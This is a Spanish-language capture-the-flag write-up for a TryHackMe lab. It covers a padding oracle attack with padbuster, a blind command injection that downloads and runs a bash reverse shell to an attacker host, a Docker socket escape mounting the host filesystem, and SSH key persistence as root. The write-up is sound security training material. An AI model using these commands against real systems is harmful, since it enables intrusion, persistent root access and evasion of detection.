New York Flankees TryHackMe Writeup
Reconocimiento
Lanzamos nmap a todos los puertos, con scripts y versiones de software:
> nmap -p- -sVC 10.10.155.195 -Pn -n -oN nmap
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-07-13 11:57 CEST
Nmap scan report for 10.10.155.195
Host is up (0.053s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 49:41:3d:ae:d6:d6:53:bc:f4:89:b2:cd:4b:d0:36:45 (RSA)
| 256 fb:41:58:39:98:db:6b:6d:87:47:29:b5:67:3a:27:13 (ECDSA)
|_ 256 66:46:56:c6:65:96:52:5e:4c:4c:14:3d:cb:99:8d:7a (ED25519)
8080/tcp open http Octoshape P2P streaming web service
|_http-title: Hello world!
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Accedemos al sitio web por el puerto 8080, vemos un portal con “Oracle” bien grande, con dos apartados y un botón para acceder al panel de administración:
Si accedemos al apartado “Stefan Test”, nos muestra unos mensajes de tareas pendientes, donde nos dan dos grandes pistas para resolver el reto (Padding + Oracle ;)):
Seguimos con el reconocimiento, encontramos en el código fuente del fichero debug.html una función que muestra el tipo de algoritmo de cifrado, un endpoint interno y un token que se envía por método GET.
Probamos a cambiar localhost por la dirección IP de la máquina, vemos que nos devuelve un “Custom authentication success” si es correcto el token, y en caso contrario, nos devolverá un error diferente, esto nos permitirá explotar el Padding Oracle. Este token, debería de contiene las credenciales de acceso en este formato “user:password”:
Explotación
Con estos datos, ya tenemos todo lo suficiente para poder realizar un Padding Oracle Attack, yo utilicé la herramienta padbuster:
> padbuster http://10.10.155.195:8080/api/debug/39353661353931393932373334633638EA0DCC6E567F96414433DDF5DC29CDD5E418961C0504891F0DED96BA57BE8FCFF2642D7637186446142B2C95BCDEDCCB6D8D29BE4427F26D6C1B48471F810EF4 39353661353931393932373334633638EA0DCC6E567F96414433DDF5DC29CDD5E418961C0504891F0DED96BA57BE8FCFF2642D7637186446142B2C95BCDEDCCB6D8D29BE4427F26D6C1B48471F810EF4 16 -encoding 2
+-------------------------------------------+
| PadBuster - v0.3.3 |
| Brian Holyfield - Gotham Digital Science |
| labs@gdssecurity.com |
+-------------------------------------------+
INFO: The original request returned the following
[+] Status: 200
[+] Location: N/A
[+] Content Length: 29
INFO: Starting PadBuster Decrypt Mode
*** Starting Block 1 of 4 ***
INFO: No error string was provided...starting response analysis
*** Response Analysis Complete ***
The following response signatures were returned:
-------------------------------------------------------
ID# Freq Status Length Location
-------------------------------------------------------
1 1 200 29 N/A
2 ** 255 500 16 N/A
-------------------------------------------------------
Enter an ID that matches the error condition
NOTE: The ID# marked with ** is recommended : 2
Continuing test with selection 2
[+] Success: (133/256) [Byte 16]
[+] Success: (250/256) [Byte 15]
<SNIP>
Block 4 Results:
[+] Cipher Text (HEX): ****************************
[+] Intermediate Bytes (HEX): ****************************
[+] Plain Text: 9
-------------------------------------------------------
** Finished ***
[+] Decrypted value (ASCII): ****************************
[+] Decrypted value (HEX): ****************************
[+] Decrypted value (Base64): ****************************
-------------------------------------------------------
Con las credenciales de acceso en nuestro poder, nos autenticamos en el panel de administración y logramos obtener una flag.
También encontramos la siguiente parte del reto, un formulario donde permite ejecutar comandos del sistema:
Hacemos una prueba con el comando “id”, vemos que devuelve un “Ok”, pero también detectamos que no están permitidos la ejecución de todos los comandos, tampoco se nos muestra la información por la pantalla (solo el mensaje “Ok”), por lo que la respuesta es “ciega” y tendremos que averiguar alguna forma de saber si se está ejecutando en la máquina víctima:
Levantamos un servidor HTTP con Python y probamos a descargar algo con el binario wget, donde se puede evidenciar que funciona, siendo una posible vía de explotación:
Creamos un fichero m3.sh con una reverse shell:
#!/bin/bash
/bin/bash -i >& /dev/tcp/IP_ATACANTE/PUERTO 0>&1
Ejecutamos el siguiente one-liner para conseguir descargar y ejecutar nuestra reverse shell sobre la máquina víctima:
http://10.10.155.195:8080/api/admin/exec?cmd=wget%20IP_ATACANTE/m3.sh%20%20-O%20/tmp/m3.sh|bash%20/tmp/m3.sh
Logramos acceso a la máquina como root, por el nombre de hostname, parece que está sobre un contenedor con Docker:
Leemos el fichero docker-compose.yml, obtenemos las credenciales del anterior panel de administración y el resto de flags para resolver el reto (a excepción de la root flag):
root@02e849f307cc:/app# cat docker-compose.yml
cat docker-compose.yml
version: "3"
services:
web:
build: .
ports:
- "8080:8080"
volumes:
- /var/run/docker.sock:/var/run/docker.sock
restart: always
environment:
- CTF_USERNAME=******************
- CTF_PASSWORD=******************
- CTF_ENCRYPTION_KEY=******************
- CTF_ENCRYPTION_IV=******************
- CTF_RESOURCES=/app/src/resources
- CTF_DOCKER_FLAG=THM{******************}
- CTF_ADMIN_PANEL_FLAG=THM{******************}
root@02e849f307cc:/app#
Escalada de privilegios
Arreglamos el problema con tty importando la librería “pty” con Python3.
Con acceso como root en Docker podemos listar los repositorios disponibles para levantar contenedores con Docker:
root@02e849f307cc:/# python3 -c "import pty; pty.spawn('/bin/bash')"
python3 -c "import pty; pty.spawn('/bin/bash')"
root@02e849f307cc:/# docker images
docker images
REPOSITORY TAG IMAGE ID CREATED SIZE
padding-oracle-app_web latest cd6261dd9dda 2 months ago 1.01GB
<none> <none> 4187efabd0a5 2 months ago 704MB
gradle 7-jdk11 d5954e1d9fa4 2 months ago 687MB
openjdk 11 47a932d998b7 23 months ago 654MB
Utilizamos el repositorio openjdk, montando la raiz del sistema anfitrión dentro de la carpeta “m3n0s”, logrando leer el fichero flag.txt del usuario root:
root@02e849f307cc:/# docker run -v /:/m3n0s --rm -it openjdk:11 sh
docker run -v /:/m3n0s --rm -it openjdk:11 sh
# ls -lna
ls -lna
total 76
drwxr-xr-x 1 0 0 4096 Jul 13 13:07 .
drwxr-xr-x 1 0 0 4096 Jul 13 13:07 ..
-rwxr-xr-x 1 0 0 0 Jul 13 13:07 .dockerenv
drwxr-xr-x 1 0 0 4096 Aug 2 2022 bin
drwxr-xr-x 2 0 0 4096 Jun 30 2022 boot
drwxr-xr-x 5 0 0 360 Jul 13 13:07 dev
drwxr-xr-x 1 0 0 4096 Jul 13 13:07 etc
drwxr-xr-x 2 0 0 4096 Jun 30 2022 home
drwxr-xr-x 1 0 0 4096 Aug 1 2022 lib
drwxr-xr-x 2 0 0 4096 Aug 1 2022 lib64
drwxr-xr-x 19 0 0 4096 Jul 13 09:53 m3n0s
drwxr-xr-x 2 0 0 4096 Aug 1 2022 media
drwxr-xr-x 2 0 0 4096 Aug 1 2022 mnt
drwxr-xr-x 2 0 0 4096 Aug 1 2022 opt
dr-xr-xr-x 192 0 0 0 Jul 13 13:07 proc
drwx------ 1 0 0 4096 Aug 2 2022 root
drwxr-xr-x 3 0 0 4096 Aug 1 2022 run
drwxr-xr-x 1 0 0 4096 Aug 2 2022 sbin
drwxr-xr-x 2 0 0 4096 Aug 1 2022 srv
dr-xr-xr-x 13 0 0 0 Jul 13 13:07 sys
drwxrwxrwt 1 0 0 4096 Aug 2 2022 tmp
drwxr-xr-x 1 0 0 4096 Aug 1 2022 usr
drwxr-xr-x 1 0 0 4096 Aug 1 2022 var
# cd m3n0s
cd m3n0s
# ls
ls
bin dev flag.txt lib lib64 lost+found mnt proc run snap sys usr
boot etc home lib32 libx32 media opt root sbin srv tmp var
# cat flag.txt
cat flag.txt
THM{**********************************}
¡Pero aquí hemos venido a jugar! ¡Vamos a por el root! (¿O era a por el Bote?)
Podríamos conseguirlo de diferentes formas, pero mi recomendación sería utilizar servicios nativos por dos sencillas razones:
- Conexión SSH o cualquier otro servicio de acceso remoto desplegado en la máquina, evitaremos hacer “ruido” innecesario, minimizando el riesgo a ser detectados por equipos de seguridad y/o sistemas de detección de intrusos. (Es importante tomar buenas costumbres en laboratorios controlados, para no viciarnos en entornos reales)
- Tendremos una sesión más estable.
Compartimos nuestra clave pública en el fichero authorized_keys del directorio /root/.ssh/:
# echo 'ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIBV2m/q3jym/x/CGxBZFJO+htVx4R25nzjXWTQER9FWJ' >> authorized_keys
Posteriormente, conectamos por SSH como root, indicando con -i la ruta a nuestra clave privada (siempre y cuando no se encuentre en el directorio raíz de nuestro usuario):
> ssh root@10.10.155.195 -i clave_privada
Welcome to Ubuntu 20.04.1 LTS (GNU/Linux 5.4.0-1029-aws x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
System information as of Sat Jul 13 13:13:23 UTC 2024
System load: 0.1
Usage of /: 10.4% of 38.71GB
Memory usage: 18%
Swap usage: 0%
Processes: 188
Users logged in: 0
IPv4 address for br-65b390c52543: 172.19.0.1
IPv4 address for docker0: 172.17.0.1
IPv4 address for eth0: 10.10.155.195
=> There are 44 zombie processes.
132 updates can be installed immediately.
11 of these updates are security updates.
To see these additional updates run: apt list --upgradable
The list of available updates is more than a week old.
To check for new updates run: sudo apt update
3 updates could not be installed automatically. For more details,
see /var/log/unattended-upgrades/unattended-upgrades.log
The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.
root@ip-10-10-155-195:~# id && hostname && date
uid=0(root) gid=0(root) groups=0(root)
ip-10-10-155-195
Sat Jul 13 13:13:43 UTC 2024
¡Hasta la próxima! ¡Que la “suerte” os acompañe!